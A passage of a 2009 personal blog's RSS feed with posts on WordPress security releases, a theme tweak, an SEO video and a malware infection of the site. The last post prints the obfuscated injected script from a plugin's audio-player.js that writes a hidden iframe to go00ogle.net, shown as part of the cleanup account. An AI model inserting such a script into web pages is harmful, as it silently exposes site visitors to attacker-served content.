The WordPress team decided to call 2.8.5 a hardening release because it includes some security features that were back-ported to 2.8.x from the upcoming 2.9 series.  Below are some details about <a href="http://wordpress.org/development/2009/10/wordpress-2-8-5-hardening-release/">2.8.5</a> from the <a href="http://wordpress.org/development/">WordPress development blog</a>:</p>
<blockquote><p>As you know over the past couple of months we have been working on the new features for WordPress 2.9. We have also been working on trying to make WordPress as secure as possible and during this process we have identified a number of security hardening changes that we thought were worth back-porting to the 2.8 branch so as to get these improvements out there and make all your sites as secure as possible.</p>
<p>The headline changes in this release are:</p>
<ul>
<li>A fix for the Trackback Denial-of-Service attack that is currently being seen.</li>
<li>Removal of areas within the code where php code in variables was evaluated.</li>
<li>Switched the file upload functionality to be whitelisted for all users including Admins.</li>
<li>Retiring of the two importers of Tag data from old plugins.</li>
</ul>
</blockquote>
<p>You can <a href="http://wordpress.org/download/">download WordPress 2.8.5 here</a>.</p>
<div class="shr-publisher-2471"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/s65wJPyqOZOa318Mvq3L4IYfKhs/0/da"><img src="http://feedads.g.doubleclick.net/~a/s65wJPyqOZOa318Mvq3L4IYfKhs/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/s65wJPyqOZOa318Mvq3L4IYfKhs/1/da"><img src="http://feedads.g.doubleclick.net/~a/s65wJPyqOZOa318Mvq3L4IYfKhs/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=gDKBneQIkWo:gQZBSqutlEk:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=gDKBneQIkWo:gQZBSqutlEk:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=gDKBneQIkWo:gQZBSqutlEk:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=gDKBneQIkWo:gQZBSqutlEk:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=gDKBneQIkWo:gQZBSqutlEk:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=gDKBneQIkWo:gQZBSqutlEk:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=gDKBneQIkWo:gQZBSqutlEk:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=gDKBneQIkWo:gQZBSqutlEk:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=gDKBneQIkWo:gQZBSqutlEk:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=gDKBneQIkWo:gQZBSqutlEk:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/gDKBneQIkWo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2009/10/21/wordpress-2-8-5-hardening-release/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://www.longren.org/2009/10/21/wordpress-2-8-5-hardening-release/</feedburner:origLink></item>
		<item>
		<title>SEO Song Video</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/g_6ac2Lbs9A/</link>
		<comments>http://www.longren.org/2009/10/07/seo-song-video/#comments</comments>
		<pubDate>Wed, 07 Oct 2009 15:38:36 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Funny]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Personal]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2467</guid>
		<description><![CDATA[Check out the SEO song and video by Creare Group. It&#8217;s pretty good, I got a kick out of it.]]></description>
			<content:encoded><![CDATA[<p>Check out the <a href="http://www.youtube.com/watch?v=0Z9rP7CBs_Y">SEO song and video</a> by <a href="http://www.creare.co.uk/">Creare Group</a>.  It&#8217;s pretty good, I got a kick out of it.<br />
<object width="480" height="295"><param name="movie" value="http://www.youtube.com/v/0Z9rP7CBs_Y&#038;hl=en&#038;fs=1&#038;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/0Z9rP7CBs_Y&#038;hl=en&#038;fs=1&#038;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="295"></embed></object></p>
<div class="shr-publisher-2467"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/IWOlJZmhnUTc8cPPP0vw_gOvWmU/0/da"><img src="http://feedads.g.doubleclick.net/~a/IWOlJZmhnUTc8cPPP0vw_gOvWmU/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/IWOlJZmhnUTc8cPPP0vw_gOvWmU/1/da"><img src="http://feedads.g.doubleclick.net/~a/IWOlJZmhnUTc8cPPP0vw_gOvWmU/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=g_6ac2Lbs9A:Sj1v9lQmOjo:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=g_6ac2Lbs9A:Sj1v9lQmOjo:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=g_6ac2Lbs9A:Sj1v9lQmOjo:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=g_6ac2Lbs9A:Sj1v9lQmOjo:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=g_6ac2Lbs9A:Sj1v9lQmOjo:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=g_6ac2Lbs9A:Sj1v9lQmOjo:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=g_6ac2Lbs9A:Sj1v9lQmOjo:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=g_6ac2Lbs9A:Sj1v9lQmOjo:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=g_6ac2Lbs9A:Sj1v9lQmOjo:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=g_6ac2Lbs9A:Sj1v9lQmOjo:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/g_6ac2Lbs9A" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2009/10/07/seo-song-video/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://www.longren.org/2009/10/07/seo-song-video/</feedburner:origLink></item>
		<item>
		<title>Page Comments for K2 and Unwakeable</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/eVSXC_IW-JA/</link>
		<comments>http://www.longren.org/2009/08/13/page-comments-for-k2-and-unwakeable/#comments</comments>
		<pubDate>Thu, 13 Aug 2009 19:39:05 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Noteworthy]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Unwakeable]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[k2]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2448</guid>
		<description><![CDATA[For some time now, comments have been disabled on pages in K2 and Unwakeable. The modifications needed to allow comments on pages are extremely easy to make. If you use either of these themes and wish to enable comments on pages, please continue reading. 1. Open the page.php file located in your K2 or Unwakeable [...]]]></description>
			<content:encoded><![CDATA[<p>For some time now, comments have been disabled on pages in <a href="http://www.getk2.com/">K2</a> and <a href="http://www.longren.org/wordpress/unwakeable/">Unwakeable</a>.  The modifications needed to allow comments on pages are extremely easy to make.  If you use either of these themes and wish to enable comments on pages, please continue reading.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
<strong>1.</strong> Open the <strong>page.php</strong> file located in your K2 or Unwakeable theme directory.  Go to line 36, it should look like this:</p>
<pre><code>&lt;?php if ( get_post_custom_values('comments') ): ?&gt;</code></pre>
<p><strong>2.</strong> Comment out that if statement, so it should look like this when you&#8217;re done:</p>
<pre><code>&lt;?php //if ( get_post_custom_values('comments') ): ?&gt;</code></pre>
<p><strong>3.</strong> You&#8217;re halfway done at this point.  Now go to line 40, which should look like this:</p>
<pre><code>&lt;?php endif; ?&gt;</code></pre>
<p><strong>4.</strong> Comment out this piece of code as well, so modify line 40 so it looks like the code below.</p>
<pre><code>&lt;?php //endif; ?&gt;</code></pre>
<p><strong>5.</strong> Save the <strong>page.php</strong> file and you should be all set.</p>
<p>I will make this modification in the next release of Unwakeable so you won&#8217;t have to modify it yourself.  You can expect to see a new version of Unwakeable released within a week.</p>
<div class="shr-publisher-2448"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/3cKuLgFaIQymRkoAdLR9RZ-ytCQ/0/da"><img src="http://feedads.g.doubleclick.net/~a/3cKuLgFaIQymRkoAdLR9RZ-ytCQ/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/3cKuLgFaIQymRkoAdLR9RZ-ytCQ/1/da"><img src="http://feedads.g.doubleclick.net/~a/3cKuLgFaIQymRkoAdLR9RZ-ytCQ/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=eVSXC_IW-JA:v_tfUolvXF0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=eVSXC_IW-JA:v_tfUolvXF0:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=eVSXC_IW-JA:v_tfUolvXF0:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=eVSXC_IW-JA:v_tfUolvXF0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=eVSXC_IW-JA:v_tfUolvXF0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=eVSXC_IW-JA:v_tfUolvXF0:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=eVSXC_IW-JA:v_tfUolvXF0:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=eVSXC_IW-JA:v_tfUolvXF0:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=eVSXC_IW-JA:v_tfUolvXF0:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=eVSXC_IW-JA:v_tfUolvXF0:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/eVSXC_IW-JA" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2009/08/13/page-comments-for-k2-and-unwakeable/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.longren.org/2009/08/13/page-comments-for-k2-and-unwakeable/</feedburner:origLink></item>
		<item>
		<title>WordPress 2.8.4 Security Release</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/qG4KOcCt7Ak/</link>
		<comments>http://www.longren.org/2009/08/11/wordpress-2-8-4-security-release/#comments</comments>
		<pubDate>Wed, 12 Aug 2009 04:21:52 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2439</guid>
		<description><![CDATA[WordPress 2.8.4 has been released. It&#8217;s a security release, which means you should upgrade immediately. This version fixes a problem that could allow remote users to reset the administrative password. Below is a summary from the WordPress development blog: Yesterday a vulnerability was discovered: a specially crafted URL could be requested that would allow an [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://wordpress.org/development/2009/08/2-8-4-security-release/">WordPress 2.8.4</a> has been released.  It&#8217;s a security release, which means you should upgrade immediately.  This version fixes a problem that could allow remote users to reset the administrative password.  Below is a summary from the <a href="http://wordpress.org/development/">WordPress development blog</a>:</p>
<blockquote><p>Yesterday a vulnerability was discovered: a specially crafted URL could be requested that would allow an attacker to bypass a security check to verify a user requested a password reset. As a result, the first account without a key in the database (usually the admin account) would have its password reset and a new password would be emailed to the account owner. This doesn’t allow remote access, but it is very annoying.</p></blockquote>
<p>The <a href="http://isc.sans.org/">SANS Internet Storm Center</a> had <a href="http://isc.sans.org/diary.html?storyid=6934">a nice post</a> about this earlier today that details why WordPress 2.8.4 was necessary.</p>
<div class="shr-publisher-2439"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/j93s1yMkg0z8Dbo22UOAiBglBaw/0/da"><img src="http://feedads.g.doubleclick.net/~a/j93s1yMkg0z8Dbo22UOAiBglBaw/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/j93s1yMkg0z8Dbo22UOAiBglBaw/1/da"><img src="http://feedads.g.doubleclick.net/~a/j93s1yMkg0z8Dbo22UOAiBglBaw/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=qG4KOcCt7Ak:DcroIO-lw3M:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=qG4KOcCt7Ak:DcroIO-lw3M:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=qG4KOcCt7Ak:DcroIO-lw3M:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=qG4KOcCt7Ak:DcroIO-lw3M:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=qG4KOcCt7Ak:DcroIO-lw3M:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=qG4KOcCt7Ak:DcroIO-lw3M:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=qG4KOcCt7Ak:DcroIO-lw3M:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=qG4KOcCt7Ak:DcroIO-lw3M:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=qG4KOcCt7Ak:DcroIO-lw3M:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=qG4KOcCt7Ak:DcroIO-lw3M:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/qG4KOcCt7Ak" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2009/08/11/wordpress-2-8-4-security-release/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://www.longren.org/2009/08/11/wordpress-2-8-4-security-release/</feedburner:origLink></item>
		<item>
		<title>Longren.org Marked as Suspicious by Google</title>
		<link>http://feedproxy.google.com/~r/tlongren/~3/pQO27pj4cI4/</link>
		<comments>http://www.longren.org/2009/08/11/longren-org-marked-as-suspicious-by-google/#comments</comments>
		<pubDate>Tue, 11 Aug 2009 15:42:54 +0000</pubDate>
		<dc:creator>Tyler</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Noteworthy]]></category>
		<category><![CDATA[Personal]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[WordPress]]></category>

		<guid isPermaLink="false">http://www.longren.org/?p=2435</guid>
		<description><![CDATA[So, as many visitors have probably noticed, longren.org has been listed as a suspicious site by Google. Visiting this site in Firefox will result in Firefox warning you that you could be visiting a website that could harm your computer. Turns out this blog was infected with a go00ogle.net malware script. After following this helpful [...]]]></description>
			<content:encoded><![CDATA[<p>So, as many visitors have probably noticed, longren.org has been listed as a suspicious site by Google.  Visiting this site in Firefox will result in Firefox warning you that you could be visiting a website that could harm your computer.<br />
<script type="text/javascript"><!--
google_ad_client = "pub-0816337812164133";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "";
google_alternate_ad_color = "";
google_color_border = "{{color-border}}";
google_color_bg = "{{color-bg}}";
google_color_link = "{{color-title}}";
google_color_text = "{{color-text}}";
google_color_url = "{{color-link}}";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
<br />
Turns out this blog was infected with a go00ogle.net malware script.  After following <a href="http://blog.ambor.com/2009/07/how-to-remove-go00oglenet-infection.html">this helpful blog post</a>, I was able to pinpoint the <a href="http://www.1pixelout.net/code/audio-player-wordpress-plugin/">Audio Player plugin for WordPress</a> as the culprit.  The infected file was audio-player.js, and contained this snippet of code that should not have been there:</p>
<pre><code>function advQuery(){
	var adv="http://google.com/";abs=unescape("%69%66%72%61%6D%65");Track="?sid=1";get=unescape("%6E%65%74");
	document.write("&lt;"+abs+" src="+adv.substr(0,9)+unescape("\u0030\u0030")+adv.substr(9,5));
	document.write(get+"/go.php"+Track+" style=display:none&gt;&lt;"+"/"+abs+"&gt;");
};advQuery();</code></pre>
<p>I decided to just deactivate that plugin instead of deleting that piece of code from audio-player.js.  This way there&#8217;s no chance audio-player.js will become infected again.</p>
<div class="shr-publisher-2435"></div>
<p><a href="http://feedads.g.doubleclick.net/~a/gx2SkxjdAZ9QEAHuGGV2krfPgz0/0/da"><img src="http://feedads.g.doubleclick.net/~a/gx2SkxjdAZ9QEAHuGGV2krfPgz0/0/di" border="0" ismap="true"></img></a><br/>
<a href="http://feedads.g.doubleclick.net/~a/gx2SkxjdAZ9QEAHuGGV2krfPgz0/1/da"><img src="http://feedads.g.doubleclick.net/~a/gx2SkxjdAZ9QEAHuGGV2krfPgz0/1/di" border="0" ismap="true"></img></a></p><div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/tlongren?a=pQO27pj4cI4:ZqPrFG3Ge8M:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=pQO27pj4cI4:ZqPrFG3Ge8M:wF9xT3WuBAs"><img src="http://feeds.feedburner.com/~ff/tlongren?i=pQO27pj4cI4:ZqPrFG3Ge8M:wF9xT3WuBAs" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=pQO27pj4cI4:ZqPrFG3Ge8M:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/tlongren?i=pQO27pj4cI4:ZqPrFG3Ge8M:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=pQO27pj4cI4:ZqPrFG3Ge8M:7Q72WNTAKBA"><img src="http://feeds.feedburner.com/~ff/tlongren?d=7Q72WNTAKBA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=pQO27pj4cI4:ZqPrFG3Ge8M:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/tlongren?i=pQO27pj4cI4:ZqPrFG3Ge8M:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/tlongren?a=pQO27pj4cI4:ZqPrFG3Ge8M:gIN9vFwOqvQ"><img src="http://feeds.feedburner.com/~ff/tlongren?i=pQO27pj4cI4:ZqPrFG3Ge8M:gIN9vFwOqvQ" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/tlongren/~4/pQO27pj4cI4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://www.longren.org/2009/08/11/longren-org-marked-as-suspicious-by-google/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<feedburner:origLink>http://www.longren.org/2009/08/11/longren-org-marked-as-suspicious-by-google/</feedburner:origLink></item>
	</channel>
</rss>
